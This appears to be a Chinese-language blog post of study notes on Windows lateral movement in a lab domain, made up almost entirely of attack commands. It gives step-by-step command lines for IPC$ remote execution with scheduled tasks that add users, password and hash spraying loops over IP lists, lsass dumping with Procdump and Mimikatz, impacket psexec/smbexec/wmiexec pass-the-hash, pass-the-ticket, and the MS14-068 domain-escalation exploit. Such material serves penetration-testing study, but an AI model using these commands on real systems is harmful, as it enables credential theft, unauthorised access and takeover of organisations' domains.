横向知识总结

at schtasks (IPC连接)

在已知目标系统的用户明文密码(HASH看下一条)的基础上,直接可以在远程主机上执行命令,需要135,445端口开放

at < Windows2012

net use \192.168.3.21\ipc$ “Admin12345” /user:god.org\administrator # 建立 ipc 连接:

copy add.bat \192.168.3.21\c$ #拷贝执行文件到目标机器

mc上线或者net user hyj hyj /add

at \192.168.3.21 15:47 c:\add.bat #添加计划任务

schtasks >=Windows2012

net use \192.168.3.32\ipc$ “密码” /user:god.org\administrator # 建立 ipc 连接:

copy add.bat \192.168.3.32\c$ #复制文件到其 C 盘

schtasks /create /s 192.168.3.32 /ru “SYSTEM” /tn adduser /sc DAILY /tr c:\add.bat /F #创建adduser 任务

对应执行文件

schtasks /run /s 192.168.3.32 /tn adduser /i #运行 adduser 任务

schtasks /delete /s 192.168.3.21 /tn adduser /f #删除 adduser 任务

net view xx.xx.xx.xx #查看对面共享文件

查看连接 net use

删除连接 net use \192.168.3.21\ipc$ /del

建立 IPC 常见的错误代码

1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限

2)51:网络问题,Windows 无法找到网络路径(

3)53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有防火墙等问题

4)67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$

5)1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除

6)1326:账号密码错误

7)1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况

8)2242:用户密码过期,目标有账号策略,强制定期更改密码

#建立 IPC 失败的原因

1)目标系统不是 NT 或以上的操作系统

2)对方没有打开 IPC$共享

3)对方未开启 139、445 端口,或者被防火墙屏蔽

4)输出命令、账号密码有错误

横向渗透明文 HASH 传递 atexec-impacket

atexec.exe ./administrator:[email protected] “whoami”

atexec.exe god/administrator:[email protected] “whoami”

atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./[email protected] "whoami

横向渗透明文 HASH 传递批量利用-综合

批量升级版为文件夹下IPC批量.py 用户收集 net user /domain

FOR /F %%i in (ips.txt) do net use \%%i\ipc$ “admin!@#45” /user:administrator #批量检测IP对应明文连接
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测IP对应明文回显版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%[email protected] whoami #批量检测明文对应IP回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./[email protected] whoami #批量检测HASH对应IP回显版

Procdump+Mimikatz 配合获取密码

受害机运行Procdump

procdump -accepteula -ma lsass.exe lsass.dmp 生成hash.dmp

mimikatz 上执行:

sekurlsa::minidump lsass.dmp

sekurlsa::logonPasswords full

#Pwdump7

#QuarksPwdump

SMB 服务利用-psexec,smbexec(官方自带,直接shell)

psexec 第一种:先有 ipc 链接,psexec 需要明文或 hash 传递

net use \192.168.3.32\ipc$ “admin!@#45” /user:administrator

psexec \192.168.3.32 -s cmd # 需要先有 ipc 链接 -s 以 System 权限运行

psexec 第二种:不用建立 IPC 直接提供明文账户密码

psexec \192.168.3.21 -u administrator -p Admin12345 -s cmd

psexec -hashes : H A S H HASH HASH ./[email protected]

psexec -hashes : H A S H HASH HASH domain/[email protected]

psexec -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected] 官方 Pstools 无法采用 hash 连接

smbexec 无需先 ipc 链接 明文或 hash 传递

smbexec god/administrator:[email protected]

smbexec ./administrator:admin!@#[email protected]

smbexec -hashes : H A S H HASH HASH ./[email protected]

smbbexec -hashes : H A S H HASH HASH domain/[email protected]

smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected]

smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/[email protected]

WMI 服务利用-cscript,wmiexec,wmicv()

WMI(Windows Management Instrumentation) 是通过 135 端口进行利用,支持用户名明文或者 hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。

自带 WMIC 明文传递 无回显

wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create “cmd.exe /c ipconfig >C:\1.txt”

自带 cscript 明文传递 有回显(需要借助wmiexec.vbs)

cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345

套件 impacket wmiexec 明文或 hash 传递 有回显 exe 版本

wmiexec ./administrator:admin!@#[email protected] “whoami”

wmiexec god/administrator:[email protected] “whoami”

wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected] “whoami”

wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/[email protected] “whoami”

PTH、PTT、PTK(ntml、票据、AES keys)

PTH ntlm 传递(mimikatz)

未打补丁下的工作组及域连接:

第一步 mimikatz输入获取hash

privilege::debug

sekurlsa::logonpasswords

第二步 修改hash值

sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7

sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c

sekurlsa::pth /user:boss /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7

第三步

dir \\192.168.72.1\c$

跟at后续相同

PTT ntlm 传递(mimikatz)

PTK配合mimikatz

mimikatz获取AES加密值

privilege::debug

sekurlsa::ekyes

sekurlsa::pth /user:mary /domain:god /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b

第二步

dir \\192.168.72.1\c$

跟at后续相同

PTT ntlm 传递(mimikatz)

第一种利用漏洞:

能实现普通用户直接获取域控 system 权限

#MS14-068 powershell 执行

1.查看当前 sid whoami /user

2.mimikatz #

privilege::debug
kerberos::purge

//清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造

mimikatz # kerberos::list

//查看当前机器凭证

mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中

3.利用 ms14-068 生成 TGT 数据

ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码

MS14-068.exe -u [email protected] -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -

p admin!@#45

4.票据注入内存

先清空票据再注入 klist purge //清除所有票据,跟第二步相同。

打开mimikatz.exe 输入"kerberos::ptc [email protected]"

5.查看凭证列表 klist

6.利用

dir \192.168.3.21\c$

第二种利用工具 kekeo

1.生成票据

./kekeo “tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c”

2.导入票据

kerberos::ptt [email protected][email protected]

3.查看凭证 klist

4.利用 net use 载入

dir \192.168.3.21\c$

第三种利用本地票据(需管理权限)

privilege::debug
sekurlsa::tickets /export 导出票据
kerberos::ptt xxxxxxxxxx.xxxx.kirbi 导入票据
连接

总结:ptt 传递不需本地管理员权限,连接时主机名连接,基于漏洞,工具,本地票据

你可能感兴趣的:(内网安全,windows,网络)